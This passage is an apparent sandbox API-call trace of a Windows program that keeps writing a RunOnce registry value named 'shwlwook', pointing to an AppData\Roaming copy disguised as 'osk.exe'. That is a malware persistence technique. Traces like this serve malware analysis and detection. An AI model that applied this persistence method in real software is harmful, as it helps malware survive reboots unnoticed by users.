0x0 [0282.235] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.236] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.236] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.236] RegCloseKey (hKey=0x644) returned 0x0 [0282.236] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.237] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.250] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.250] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.250] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.251] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.251] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.251] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.251] RegCloseKey (hKey=0x644) returned 0x0 [0282.252] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.252] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.266] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.266] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.266] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.267] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.267] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.267] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.267] RegCloseKey (hKey=0x644) returned 0x0 [0282.267] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.268] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.281] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.281] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.282] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.282] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.282] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.283] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.283] RegCloseKey (hKey=0x644) returned 0x0 [0282.283] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.283] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.528] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.528] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.529] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.529] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.529] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.529] RegCloseKey (hKey=0x644) returned 0x0 [0282.530] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.530] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.547] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.547] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.547] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.548] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.548] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.548] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.548] RegCloseKey (hKey=0x644) returned 0x0 [0282.549] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.549] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.563] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.563] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.563] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.564] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.564] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.564] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.564] RegCloseKey (hKey=0x644) returned 0x0 [0282.565] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.565] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.578] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.579] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.579] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.580] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.580] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.580] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.580] RegCloseKey (hKey=0x644) returned 0x0 [0282.580] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.581] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.594] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.594] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.594] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.595] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.595] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.595] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.595] RegCloseKey (hKey=0x644) returned 0x0 [0282.595] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.596] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.609] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.609] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.610] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.610] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.610] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.610] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.611] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.611] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.611] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.625] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.625] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.626] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.626] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.626] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.626] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.626] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.627] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.627] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.656] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.656] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.657] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.657] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.657] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.657] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.657] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.658] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.658] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.672] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.672] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.672] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.673] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.673] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.673] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.673] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.674] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.674] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.688] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.688] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.688] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.688] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.688] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.689] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.689] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.689] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.689] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.703] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.703] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.703] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.704] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.704] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.704] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.704] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.704] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.705] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.721] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.721] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.721] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.722] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.722] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.722] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.722] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.722] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.723] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.789] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.789] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.789] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.790] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.790] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.790] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.790] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.790] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.791] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.797] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.797] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.797] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.798] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.798] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.798] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.798] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.799] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.799] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.812] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.812] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.813] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.814] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.814] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.814] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.814] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.815] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.815] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.843] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.843] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.843] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.844] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.844] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.844] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.844] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.844] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.845] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.859] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.859] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.859] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.859] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.859] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.860] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.860] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.860] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.860] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.874] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.874] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.874] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.875] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.875] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0282.875] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.875] RegCloseKey (hKey=0x3c0) returned 0x0 [0282.875] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion 